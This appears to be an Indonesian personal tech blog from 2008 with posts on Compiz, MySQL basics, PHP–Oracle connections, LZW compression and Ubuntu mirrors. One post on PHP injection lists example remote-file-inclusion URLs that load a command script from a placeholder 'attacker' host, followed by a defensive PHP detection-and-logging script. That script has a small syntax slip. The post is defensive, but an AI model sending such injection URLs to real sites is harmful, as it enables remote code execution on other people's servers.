Jumat, 07 November 2008

Tampilan Cube pada Ubuntu

Maukah Tampilan Ubuntu anda seperti ini?

Syaratnya, driver vga anda harus sudah berjalan dengan baik, dan sudah melakukan instalasi compiz, untuk lebih lanjut disini hanya akan membahas instalasi compiz. Untuk tambahan disini saya memakai ubuntu 8.10. Ok.. ayu kita lakukan

untuk dapat melakukan instalasi compiz kita tambahkan source list dulu

gksu gedit /etc/apt/sources.list

dan taruh hal berikut paling bawah

deb http://ppa.launchpad.net/compiz/ubuntu hardy main

Simpan dan tutup.

Untuk install Compiz setting manager :

sudo apt-get install compizconfig-settings-manager

Setelah selesai, anda setting Compiz Setting Manager melalui System->Preferences->CompizConfig Settings Manager.

Pada General Options ,pilih Desktop Size tab. Set Horizontal virtual sizejadi 4. Click Back.

Kemudian, pilih katagori Dekstop dan aktifkan Desktop Cube and Rotate Cube. Jika anda menggunakan Desktop Wall, Anda akan menonaktifkannya dahulu.

Kemudian, pilih katagori efects dan aktifkan Cube Reflection and Deformation. Click pada Cube Reflection and Deformation untuk konfigurasi. Di bawah Deformation tab, pilih Cylinder atau Sphere under the Deformation dropdown box Click Back. Click Close.

Kembali ke desktop anda, Tekan Ctrl + Alt + mouse left button untuk mengaktifkan desktop rotation mode. Dan anda akan melihat hasilnya.

Rabu, 05 November 2008

Memahami Database MySQL


 

Database secara mudah dapat kita sebut sebagai gudang data. Secara teori, database adalah kumpulan data atau informasi yang kompleks, data-data tersebut disusun menjadi beberapa kelompok dengan tipe data yang sejenis (disebut tabel), di mana setiap datanya dapat saling berhubungan satu sama lain atau dapat berdiri sendiri, sehingga mudah diakses.

  • Program Pengelola Database

Dalam basis data, database dapat kita kelola menggunakan program aplikasi basis data, misalnya: MySQL, Access, PostgreSQL, dan SQL Server.

Aplikasi yang dapat membuat dan mengelola database sering disebut SMBD (Sistem Manajemen Basis Data) atau DBMS (Data Base Manajemen System).

Ada dua perbedaan SMBD (Sistem Manajemen Basis Data) yang sering kita gunakan, yaitu database yang bersifat Stand Alone dan database yang bersifat Database Server. Berikut ini, pengkategoriannya:

  • Database Server (berjalan client/server):
    • MySQL
    • MsQL
    • PostgreSQL
    • SQL Server
    • Oracle
    • Interbase, dan lain-lain.


 

  • Bukan Database Server (berjalan stand alone):
    • Mircrosoft Access
    • Paradox
    • dBase, dan lain-lain.
      • Database Server MySQL

MySQL merupakan database server yang awalnya hanya berjalan pada sistem Unix dan Linux. Seiring berjalannya waktu dan banyaknya peminat yang menggunakan database ini, MySQL merilis versi yang dapat diinstal pada hampir semua platform, termasuk Windows.

Lisensi dari MySQL adalah freeware. Kita dapat mendownload dan menggunakannya tanpa harus membayarnya. Meskipun kita menjual produk menyertakan software MySQL, kita tidak melanggar hak cipta.

Pada buku ini, semua contoh latihan menggunakan MySQL server versi 5.0.x. Anda dapat mendapatkan versi terbaru dari MySQL pada alamat website www.mysql.com.

  • Sebutan Umum Database Server

Umumnya, orang menyebut database seperti MySQL, PostgreSQL, atau yang lainnya dengan sebutan Database Server saja. Namun, ada beberapa orang yang menyebutnya dengan istilah Database Enggine, Mesin Database, SMBD, DBMS, Back End, ataupun langsung menyebut dengan program database saja. Sebenarnya, beberapa istilah tersebut sama, terserah Anda saja untuk menyebutnya.

  • Keterkatian MySQL dan SQL

Mungkin bagi Anda yang baru pertama dengan MySQL akan bingung dengan dua kata "SQL" dan "MySQL". Pertanyaan yang mungkin muncul adalah, ini satu atau dua bentuk aplikasi? Yah... saya bisa memaklumi munculnya pertanyaan tersebut, sama dengan yang ada di benak saya pada saat mulai mengenal MySQL.

Bagi Anda yang sebelumnya sudah pernah belajar atau sudah pernah membaca buku basis data, mungkin Anda akan mendapatkan pembahasan khusus mengenai SQL pada bagian akhir buku tersebut. Apakah SQL itu sebenarnya, dan apa bedanya dengan MySQL itu sendiri?

Baiklah, SQL merupakan kependekan dari kata "Structured Query Language". SQL merupakan suatu bahasa permintaan yang terstruktur. Kenapa terstruktur? Karena pada penggunaannya, SQL memiliki beberapa aturan yang telah distandarkan oleh asosiasi yang bernama ANSI.

Jadi, SQL adalah bahasa permintaan yang melekat pada satu database atau SMBD tertentu, sedangkan MySQL merupakan database server-nya. Dengan kata lain, MySQL merupakan SMBD-nya dan SQL adalah perintah atau bahasa yang melekat di dalam SMBD tersebut.

Sebagai suatu bahasa permintaan, SQL tidak hanya melekat pada MySQL server saja, tetapi juga didukung oleh SMBD lainnya seperti MsQL, PostgreSQL, Interbase, dan Oracle. Selain itu, SQL juga didukung oleh database bukan server seperti MS Access maupun Paradox.

Tingkatan Aplikasi Database

Apabila kita kategorikan, aplikasi yang akan kita buat dapat dibedakan menjadi tiga, yaitu: berbasis Stand Alone, Multy User, dan Client/Server.

  1. Aplikasi Database Berbasis Stand Alone

Aplikasi yang berjalan Stand Alone adalah aplikasi yang hanya berjalan pada satu komputer dan hanya mampu diakses oleh satu orang dalam satu waktu. Database
(Back End) berserta program aplikasinya (Front End) berada dalam satu komputer, dan pengguna mengaksesnya dalam waktu dan tempat yang sama.

Biasanya, aplikasi seperti ini, kita buat untuk menangani pengolahan data atau sistem informasi yang lingkupnya kecil. Database yang sering digunakan adalah MS Access, Paradox, dBase, dan FoxPro. Sedangkan program aplikasinya bebas menggunakan apa saja, seperti Visual Basic, Delphi, atau CPP.

  1. Aplikasi Database Berbasis Multi User

Aplikasi yang berbasis Multi User artinya program tersebut dapat digunakan oleh banyak pengguna dalam satu waktu dan dalam tempat yang berbeda.

Isitilah Multi User di atas memang sangat familiar dengan bahasa kita, yaitu banyak pengguna. Pada prinsipnya, program yang dibuat hampir sama dengan jenis sebelumnya atau jenis Stand Alone. Hanya saja, pada aplikasi yang berbasis Multi User, databasenya dapat diakses secara bersama dalam satu waktu oleh 2 orang atau lebih.

Konsepnya sangat sederhana, dengan cara membuat sebuah aplikasi Stand Alone, kemudian database-nya kita Sharing (bagi pakai) kepada komputer lain yang hendak mengakses database tersebut. Database yang dapat digunakan sama, yaitu: MS Access, dBase, dan Paradox.

  1. Aplikasi Database Berbasis Client/Server

Untuk membuat aplikasi yang berbasis Client/Server, kita pasti membutuhkan aplikasi database yang bertindak sebagai Server (pusat) data dan komputer yang dijadikan sebagai Client (pengakses). Sehingga dalam aplikasi ini, kita harus menggunakan database server sebagai media penyimpanan datanya.

Dari kemampuan datanya, aplikasi yang berbasis Client/Server tentu memiliki kemampuan, data dapat diakses oleh dua orang atau lebih dalam satu waktu.

Yang membedakan antara aplikasi Multi User dan Client Server sebagai berikut:

  • Aplikasi Multi User belum tentu Client/Server.
  • Aplikasi Client/Server pasti juga berbasis Multi User.
  • Aplikasi Multi User sifat databasenya hanya di-sharing (bagi pemakaian/ pemakaian bersama-sama).
  • Aplikasi Client/Server sifat databasenya berjalan dalam jaringan dengan sistem Remote.
  • Aplikasi Multi User dapat menggunakan SMBD biasa, yaitu Access, Paradox, atau dBase.
  • Aplikasi Client/Server, databasenya harus berbasis Database Server, seperti MySQL, dan PostgreSQL.
  • Aplikasi Multi User tidak terjamin keamanan datanya.
  • Aplikasi Client/Server sangat terjamin keamanan datanya, karena mampu menangani autentifikasi user.

    Memahami Perintah SQL

Telah dikatakan sebelumnya bahwa SQL merupakan sebuah bahasa perimintaan yang melekat pada suatu SMBD termasuk MySQL. Perintahnya dapat kita sebut dengan query. Dalam penggunaannya, perintah SQL dikategorikan menjadi tiga sub perintah, yaitu DDL (Data Definition Language), DML (Data Manipulation Language,) dan
DCL (Data Control Language).

  1. Data Definition Language (DDL)

Data Definition Language (DDL) merupakan sub bahasa SQL yang digunakan untuk membangun kerangka database. Ada tiga perintah yang termasuk dalam DDL, yaitu:

  • CREATE : Perintah ini digunakan untuk membuat, termasuk di antaranya membuat database baru, tabel baru, view baru, dan kolom.
  • ALTER    : Perintah ini digunakan untuk mengubah struktur tabel yang telah dibuat. Pekerjaannya mencakup mengganti nama tabel, menambah kolom, mengubah kolom, menghapus kolom, maupun memberikan atribut pada kolom.
  • DROP    : Perintah ini digunakan untuk menghapus database dan tabel.
  1. Data Manipulation Language (DML)

Data Manipulation Language (DML) merupakan sub bahasa SQL yang digunakan untuk memanipulasi data dalam database yang telah terbuat. Perintah yang digunakan, di antaranya:

  • INSERT        : Perintah ini digunakan untuk menyisipkan atau memasukkan data baru ke dalam tabel. Penggunaannya setelah database dan tabel selesai dibuat.
  • SELECT    : Perintah ini digunakan untuk mengambil data atau menampilkan data dari satu tabel atau beberapa tabel dalam relasi. Data yang diambil dapat kita tampilkan dalam layar prompt MySQL secara langsung maupun ditampilkan pada tampilan aplikasi.
  • UPDATE    : Perintah ini digunakan untuk memperbarui data lama menjadi data terkini. Jika Anda memiliki data yang salah atau kurang up to date dengan kondisi sekarang, maka dapat diubah isi datanya menggunakan perintah UPDATE.
  • DELETE    : Perintah ini digunakan untuk menghapus data dari tabel. Biasanya data yang dihapus merupakan data yang sudah tidak diperlukan lagi. Pada saat menghapus data, perintah yang telah dijalankan tidak dapat digagalkan, sehingga data yang telah hilang tidak dapat dikembalikan lagi.
  1. Data Control Language (DCL)

Data Control Language (DCL) merupakan sub bahasa SQL yang digunakan untuk melakukan pengontrolan data dan server databasenya. Perintah DCL, di antaranya:

  • GRAND        : Perintah ini digunakan untuk memberikan hak/ijin akses oleh administrator (pemilik utama) server kepada user (pengguna biasa). Hak akses tersebut berupa hak membuat (CREATE), mengambil (SELECT), menghapus (DELETE), mengubah (UPDATE), dan hak khusus berkenaan dengan sistem databasenya.
  • REVOKE    : Perintah ini memiliki kegunaan terbalik dengan GRAND, yaitu untuk menghilangkan atau mencabut hak akses yang telah diberikan kepada user oleh administrator.

Selasa, 04 November 2008

Salah Satu Trik Download Dari Youtube

Youtube merupakan salah satu site yang banyak menampilkan video-video yang sering kita inginkan, sehingga youtube memilki banyak penggemar. Tapi lewat yuotube kita hanya bisa menonton saja, dengan kata lain tidak bisa mendownloadnya secara langsung, salah satu nya yaitu lewat www.keepvid.com , dan masih banyak lagi situs-situs penyedia layanan ini. Mendownload lewat situs agaknya merepotkan, nah pada kesempatan ini saya mo ngasi satu trik untuk download video lewat Youtube, perangkat yang di butuhkan hanyalah berupa browser Firefox, nah di mas firefox ini kita tambahkan add-ons nya berupa "downloadhelper" caranya :
pada firefox klik bagian : Tool - add-ons, setelah muncul bagian add-ons pilih tab 'Get add-ons -> Browse All Add-ons' atau lebih Gampangnya lewat https://addons.mozilla.org/en-US/firefox, jika sudah muncul site add-ons nya maka gunakan fasilitas search ketikkan saja 'DownloadHelper', dan jika sudah ketemu 'Video DownloadHelper' klick add to firefox, maka firefox akan otomatis mendownload dan menginstalnya, jika sudah selesai anda tinggal restart firefox. Nah sekarang anda kunjungi situs youtube dan pilih video yang diinginkan, dan mainkan video tersebut, saat video di mainkan anda klik kanan pada halaman firefox trus cari bagian downloadHelper, nanti akan tampil nama file dengan extention flv, biasanya bagian paling bawah untuk mendownload klik saja bagian tersebut dan terdownload deh.. Download Helper ini tidak hanya suport Youtube Saja, banyak situs yang di suportnya anda bisa lihat dibagian supported sites, salah satu yang menggiurkan anda bisa mendownload redtube lewat downloadhelper (Yang ini cuma selingan jangan sering-sering mampir ke situs merah ini , he he he ...)

Jumat, 08 Agustus 2008

Koneksi PHP dan Oracle

PHP dan oracle adalah software yang sangat sering dipakai oleh dunia IT. PHP sudah sangat terkenal dalam dunia web, dan oracle sangat banyak digunakan dalam dunia Data base. Sedangkan dua dunia ini, web dan data base sangat erat hubungannya. Oleh karena itu akan diulas bagaimana cara melakukan koneksi pada keduanya. Disini saya mengunakan PHP5, Apache2 dan Oracle 10 G pada windows xp.
Setelah ketiganya terinstall ( jika Apache dan oracle diinstal terpisah maka diperlukan Oracle client untuk oracle 10G) ,maka akan dilakukan configurasi pada php.ini, pada baris ;extension=php_oci8.dll hilangkan tanda ';'. setelah itu copykan oci.dll yang didapat di tempat anda menginstall oracle ( contoh: 'D:\oracle\product\10.1.0\Db_1\BIN\') ke folder bin pada apache.
Sekarang anda telah bisa terkoneksi dengan Oracle 10G lewat PHP.

contoh penggunaannya sebagai berikut (diambil dari manual pada php.net):
echo "
";
$db = "";

$c1 = oci_connect("scott", "tiger", $db);
$c2 = oci_connect("scott", "tiger", $db);

function
create_table($conn)
{
$stmt = oci_parse($conn, "create table scott.hallo (test varchar2(64))");
oci_execute($stmt);
echo
$conn . " created table\n\n";
}

function
drop_table($conn)
{
$stmt = oci_parse($conn, "drop table scott.hallo");
oci_execute($stmt);
echo
$conn . " dropped table\n\n";
}

function
insert_data($conn)
{
$stmt = oci_parse($conn, "insert into scott.hallo
values('$conn' || ' ' || to_char(sysdate,'DD-MON-YY HH24:MI:SS'))"
);
oci_execute($stmt, OCI_DEFAULT);
echo
$conn . " inserted hallo\n\n";
}

function
delete_data($conn)
{
$stmt = oci_parse($conn, "delete from scott.hallo");
oci_execute($stmt, OCI_DEFAULT);
echo
$conn . " deleted hallo\n\n";
}

function
commit($conn)
{
oci_commit($conn);
echo
$conn . " committed\n\n";
}

function
rollback($conn)
{
oci_rollback($conn);
echo
$conn . " rollback\n\n";
}

function
select_data($conn)
{
$stmt = oci_parse($conn, "select * from scott.hallo");
oci_execute($stmt, OCI_DEFAULT);
echo
$conn."----selecting\n\n";
while (
oci_fetch($stmt)) {
echo
$conn . " [" . oci_result($stmt, "TEST") . "]\n\n";
}
echo
$conn . "----done\n\n";
}

create_table($c1);
insert_data($c1); // Insert a row using c1
insert_data($c2); // Insert a row using c2

select_data($c1); // Results of both inserts are returned
select_data($c2);

rollback($c1); // Rollback using c1

select_data($c1); // Both inserts have been rolled back
select_data($c2);

insert_data($c2); // Insert a row using c2
commit($c2); // Commit using c2

select_data($c1); // Result of c2 insert is returned

delete_data($c1); // Delete all rows in table using c1
select_data($c1); // No rows returned
select_data($c2); // No rows returned
commit($c1); // Commit using c1

select_data($c1); // No rows returned
select_data($c2); // No rows returned

drop_table($c1);
echo
"
"
;
?>


?>

Jumat, 25 Juli 2008

oci_connect dan ocilogon

Bagi pengguna php dan oracle pasti akan kenal yang namanya oci8, oci8 ini adalah salah satu kompnen yang diperlukan untuk melakukan koneksi antara php dengan database oracle.
Nah... untuk melakukan koneksi maka diperlukan yang namanya oci_connect atau ocilogon.
Untuk kedua hal tersebut adalah sama yaitu perintah yang digunakan untuk melakukan koneksi antara php dan oracle.

Yang membedakan adalah untuk oci_connect mulai disuport oleh php5 makanya jika make php dibawah php5 tidak bisa. Jika anda memakai php5 maka sangat disarankan untuk menggunakan oci_connect, karena jika anda memakai ocilogon maka di sisi oracle akan membentuk session sampai apache direstart baru sesion yang timbul di kill, jadi jika anda melakukan ocilogon berkali-kali akan muncul session yang banyak. Misal jika anda punya 10 pengguna yang menggunakan aplikasi anda, dan mereka semua melakukan 10 kali refresh pada halaman yang memakai ocilogon, maka akan terbentuk 10 * 10 =100 sesion, sangat boros padahal cuma ada 10 user kok ada 100 sesion. Coba anda bayangkan jika pengguna aplikasi ada 1000 orang! . Nah kelemahan ini diperbaiki jika anda memakai oci_connect, karena sesion yang terjadi akan di kill secara otomatis setelah query selesai.

Silakan anda coba, dan semoga bermanfaat..

Rabu, 09 Juli 2008

Algoritma Lempel Ziv Welch (LZW)

Algoritma LZW dikembangkan dari metode kompresi yang dibuat oleh Ziv dan Lempel pada tahun 1977. Algoritma ini melakukan kompresi dengan menggunakan dictionary, di mana fragmen-fragmen teks digantikan dengan indeks yang diperoleh dari sebuah “kamus”. Prinsip sejenis juga digunakan dalam kode Braille, di mana kode-kode khusus digunakan untuk merepresentasikan kata-kata yang ada. Pendekatan ini bersifat adaptif dan efektif karena banyak karakter dapat dikodekan dengan mengacu pada string yang telah muncul sebelumnya dalam teks. Prinsip kompresi tercapai jika referensi dalam bentuk pointer dapat disimpan dalam jumlah bit yang lebih sedikit dibandingkan string aslinya. Algoritmanya sebagai berikut:
1. Dictionary diinisialisasi dengan semua karakter dasar yang ada :
2. P = karakter pertama dalam stream karakter.
3. C = karakter berikutnya dalam stream karakter.
4. Apakah string (P + C) terdapat dalam dictionary ?
• Jika ya, maka P = P + C (gabungkan P dan C menjadi string baru).
• Jika tidak, maka :
i. Output sebuah kode untuk menggantikan string P.
ii. Tambahkan string (P + C) ke dalam dictionary dan berikan nomor/kode berikutnya yang belum digunakan dalam dictionary untuk string tersebut.
iii. P = C.
5. Apakah masih ada karakter berikutnya dalam stream karakter ?
• Jika ya, maka kembali ke langkah 2.
• Jika tidak, maka output kode yang menggantikan string P, lalu terminasi proses (stop).

Proses dekompresi pada LZW dilakukan dengan prinsip yang sama seperti proses kompresi. Pada awalnya, dictionary diinisialisasi dengan semua karakter dasar yang ada. Lalu pada setiap langkah, kode dibaca satu per satu dari stream kode, dikeluarkan string dari dictionary yang berkorespondensi dengan kode tersebut, dan ditambahkan string baru ke
dalam dictionary. Metode LZW yang diterapkan dalam penelitian ini bertipe dinamik, dimana hanya dilakukan satu kali pembacaan (one-pass) terhadap file yang akan dikompresi. Pengkodean data dilakukan secara on the fly, bersamaan dengan proses penambahan string baru ke dalam dictionary. Algoritma dekompresinya sebagai berikut:

1. Dictionary diinisialisasi dengan semua karakter dasar yang ada :
2. CW = kode pertama dari stream kode (menunjuk ke salah satu karakter dasar).
3. Lihat dictionary dan output string dari kode tersebut (string.CW) ke stream karakter.
4. PW = CW; CW = kode berikutnya dari stream kode.
5. Apakah string.CW terdapat dalam dictionary ?
􀂉 Jika ada, maka :
i. output string.CW ke stream karakter
ii. P= string.PW
iii. C = karakter pertama dari string.CW
iv. tambahkan string (P+C) ke dalam dictionary
􀂉 Jika tidak, maka :
i. P =string.PW
ii. C = karakter pertama dari string.PW
iii. output string (P+C) ke stream karakter dan tambahkan string tersebut ke dalam dictionary (sekarang berkorespondensi dengan CW);
6. Apakah terdapat kode lagi di stream kode ?
􀂉 Jika ya, maka kembali ke langkah 4.
􀂉 Jika tidak, maka terminasi proses (stop).

Senin, 07 Juli 2008

firefox dan firebug untuk tool develop aplikasi web

salah satu tool yang digunakan dalam melakukan develope suatu aplikasi web adalah browser. Salah satu browser yang disarankan yaitu firefok, yang nantinya akan ditambahkan firebug pada adsonnya. kegunaan dari firebug ini adalah untuk mengetahui kesalahan-kesalahan yang mungkin terjadi tapi tidak terlihat lewat bowser sendiri, contohnya adalah kesalahan dari javascript yang kita gunakan. lewat konsol-nya akan ada suatu peringatan tentang error-error yang terjadi. Selain javascrip firebug juga bisa digunakan untuk medeteksi kesalahan script css. Jika anda menggunakan ajax pada aplikasi web anda, firebug ini sangat berguna karena kita dapat melihat isi dari paket yang dikirim lewat ajax. Lewat firebug ini juga kita dapat melihat apa saja yang diload oleh browser saat melakukan akses suatu halaman dari aplikasi kita. Selain yang diatas kita juga bisa melihat cookies yang dipakai oleh browser saat mengakses suatu halaman. Semoga hal ini dapat berguna bagi anda...

Kamis, 26 Juni 2008

Mirror Ubuntu Di Indonesia

Kabar gembira untuk para pengguna Ubuntu di Indonesia, saat ini telah meluncur mirror baru Ubuntu yang merupakan hasil usaha dari IndikaNet yang bekerja sama dengan ICT Centre Jakarta. Server mirror yang mempunyai kapasitas gigabit network ke IIX ini menyediakan repositori archive Ubuntu serta kumpulan ISO dari rilis-rilis keluarga Ubuntu. Dengan adanya alternatif server mirror baru ini maka diharapkan akan lebih mempermudah para pengguna Ubuntu di Indonesia untuk dapat menikmati keindahan Ubuntu.
Berikut ini adalah contoh sources.list untuk Anda yang ingin menggunakan repositori Ubuntu yang ada di Indika.
### sources.list.indika
### Repository dengan menggunakan server mirror ubuntu.indika.net.id
### Contoh untuk versi edgy & untuk versi lain cukup ganti aja edgy menjadi dapper atau breezy
## REPOSITORY UTAMA
deb http://ubuntu.indika.net.id/ edgy main restricted universe multiverse
deb-src http://ubuntu.indika.net.id/ edgy main restricted universe multiverse
## INI UNTUK MAJOR BUG FIX UPDATES
deb http://ubuntu.indika.net.id/ edgy-updates main restricted universe multiverse
deb-src http://ubuntu.indika.net.id/ edgy-updates main restricted universe multiverse
## INI UNTUK UBUNTU SECURITY UPDATES
deb http://ubuntu.indika.net.id/ edgy-security main restricted universe multiverse
deb-src http://ubuntu.indika.net.id/ edgy-security main restricted universe multiverse
Satu informasi lagi seputar mirror baru Ubuntu ini, selain menggunakan alamat situs yang berada diatas. Anda dapat juga mengakses server mirror tersebut melalui alamat
http://id.archive.ubuntu.com/. Hal ini adalah hadiah yang sangat baik untuk pengguna Ubuntu di Indonesia karena selama ini id.archive.ubuntu.com yang merupakan alamat default untuk akses dari Indonesia tersebut masih mengarah ke server yang ada di luar negeri dan sekarang alamat tersebut telah diarahkan ke server mirror Indika sehingga Anda dapat memperoleh akses ke repositori dengan lebih cepat. Selain itu juga ada satu alamat lagi yang telah diarahkan ke server mirror Indika, yaitu http://id.releases.ubuntu.com/, tempat untuk mendapat ISO dari keluarga Ubuntu.
Terakhir tidak lupa diucapkan banyak terima kasih kepada IndikaNet, ICT Center Jakarta, dan rekan-rekan yang telah membantu merealisasikan server mirror Ubuntu ini dan tidak lupa juga kepada para pengguna Ubuntu di Indonesia. Akhir kata selamat menikmati!

Rabu, 25 Juni 2008

PHP Injection


Serangan web dewasa ini semakin banyak memanfaatkan vulnerabillity pada script PHP, yaitu saat seorang programmer tidak
melakukan sanitasi input pada script yang dia buat, disaat register_globals ON dan allow_fopen_url maka seorang attacker
dapat melakukan injeksi pada script PHP yang vulnerable secara remote.

Caranya yaitu dengan mengeksekusi script vulnerable dengan meng-inject melalui url dari server attacker yang telah berisi
script untuk melakukan exploitasi.
Dampak ini dapat dihilangkan dengan men-set register_globals OFF, tetapi cara ini kurang effektif karena banyak aplikasi
third party yang mengharuskan register_globals ON.

Better Solutions
``````````````````

Teknik-teknik PHP Injection yang sering digunakan oleh attacker :

1. www.target.com/main.php?r=http://attacker/cmd.jpg?&cmd= command>
2.
www.target.com/main.php?r=http://attacker/cmd.gif&cmd= command>
3.
www.target.com/main.php?r=http://attacker/cmd.txt\&cmd=
4. www.target.com/main.php?r=http://attacker/cmd.txt&cmd= command>
5.
www.target.com/main.php?r=http://attacker/cmd.jpg?cmd= command>

dengan melihat url tersebut kita dapat mengambil kesimpulan bahwa :

1. attacker menyimpan script inject dalam bentuk extension jpg, gif, dan txt
2. attacker menggunakan variabel cmd untuk injection
3. attacker menggunakan beberapa kombinasi penghubung

Berdasarkan hal tersebut kita dapat membuat sebuah script sederhana untuk mensanitasi bentuk url yang dicurigai sebagai
bentuk PHP Injection, serta melakukan logging terhadap aktifitas dari attacker.

Ok...to the point, this the script :

sertakan script ini pada file konfigurasi aplikasi kita.

(modifikasi script/referensi dari internet via uncle google)

1.
2.
3. if (
4. ereg('gif\?cmd',$_SERVER['REQUEST_URI']) ||
5. ereg('gif&cmd',$_SERVER['REQUEST_URI']) ||
6. ereg('jpg\?cmd',$_SERVER['REQUEST_URI']) ||
7. ereg('jpg&cmd',$_SERVER['REQUEST_URI']) ||
8. ereg('txt?cmd',$_SERVER['REQUEST_URI']) ||
9. ereg('txt&cmd',$_SERVER['REQUEST_URI']) ||
10.
11. ereg('gif\?',$_SERVER['REQUEST_URI']) ||
12. ereg('gif&',$_SERVER['REQUEST_URI']) ||
13. ereg('jpg\?',$_SERVER['REQUEST_URI']) ||
14. ereg('jpg&',$_SERVER['REQUEST_URI']) ||
15. ereg('txt?',$_SERVER['REQUEST_URI']) ||
16. ereg('txt&',$_SERVER['REQUEST_URI'])
17.
18. )
19. {
20. // bagian untuk mencatat aktifitas hacking
21. // dan mengirimkan email pada administrator
22.
23. $ip = $_SERVER['REMOTE_ADDR'];
24. $date = date("m/d/Y g:i:s a");
25. $referer = $_SERVER['HTTP_REFERER'];
26. $uri = $_SERVER['REQUEST_URI']
27.
28. $fl = fopen('log.txt', 'a');
29. fwrite($fl, "\n".$ip.' :: '.$date."\n".$referer." :: ".$uri."\n");
30. fclose($fl);
31. $msg = "Terdapat percobaan hacking pada server ".$_SERVER['REMOTE_ADDR']."
mencoba untuk mengeksekusi ".$_SERVER['REQUEST_URI'];
32. mail('
anstellwinkel@yahoo.com.auanstellwinkel@yahoo.com.au' ,'Percobaan hacking pada '.$_SERVER['REQUEST_URI'],$msg);
33. die('Silahkan hentikan percobaan anda!');
34. }
35.
36. ?>

penjelasan :

Baris 1 - 16 --> apabila ditemukan pola tersebut pada url maka script ini akan dieksekusi
Baris 23 - 30 --> mencatat IP address, tanggal, referer dan url yang digunakan oleh attacker serta mencatatnya pada
file log.txt
Baris 31 - 33 --> Mengirim semua aktifitas hacking ke email administrator Alamat Email inidilindungi dari bot spam, Anda Harus Mengaktifkan Javascript Untuk Melihatnya

Selasa, 24 Juni 2008

Koneksi Oracle 10g dengan PHP di buntu

Jika dana ingin melakukan koneksi Oracle database denganPHP, dana bisa menggunakan module Oracle's Instant Client dan oci8 dari pear.
Caranya:
Download packages Basic dan the SDK Dari
http://www.oracle.com/technology/tech/oci/instantclient/instantclient.html.

yaitu instantclient-basic-linux32-10.2.0.1-20050713.zip dan instantclient-sdk-linux32-10.2.0.1-20050713.zip.
Unzip File ine ke direktori baru, contoh:. /opt/oracle/instantclient.

mkdir -p /opt/oracle/instantclient
cd /opt/oracle/instantclient
unzip instantclient-basic-linux32-10.2.0.1-20050713.zip
unzip instantclient-sdk-linux32-10.2.0.1-20050713.zip
echo /opt/oracle/instantclient >> /etc/ld.so.conf
ldconfig


Trus pake perintah


ln -s libclntsh.so.10.1 libclntsh.so
ln -s libocci.so.10.1 libocci.so


Selanjutnya download module oci8 Dengan pear.
apt-get install php-pear

Seletah itu lakukan perintah berikut

mkdir -p /usr/local/src
cd /usr/local/src
pear download oci8
tar xzf oci8-1.1.1.tgz
cd oci8-1.1.1
phpize
./configure --with-oci8=shared,instantclient,/opt/oracle/instantclient
make
make install


Untuk mengaktifkan module oci8 pada php.ini (/etc/php5/apache2/php.ini dan /etc/php5/cli/php.ini), Taruh extention berikut
extension=oci8.so

Restart apache.
Anda akan menemukan module oci8 dari phpinfo().

Tips Dota di acer 4520

Bulan Mei kemarin aku beli sebuah notebook acer 4520. Ini merupakan Notebook inceran ku. Nah karena aku seneng main dota makanya aku minta kopian file dota sama temen. tapi setelah main sekitar 20 menit keluar error yang menyatakan ada error pada soundcardnya trus bluescreen dan restart dech.. DAlam hati sialllll... Nah pertama saya kira karena filenya kopian. Selanjutnya saya coba untuk meng-instalnya, tapi error tersebut masih muncul. Dengan rasa Penasaran saya cek di setting sound di dota, ternyata di sound providernya yang terpilih adalah creative lab, nah saya mulai sadar notebook ku kan ndak make chipset creative yang dipake nvidia dengan dukungan dolby, dan ternyata di providenya terdapat yang namanya mas dolby ini, saya coba pilih mas yang satu ini dan sampai sekarang error tersebut tidak muncul lagi, untuk jelasnya liat gambar di bawah ,lets.. enjoy....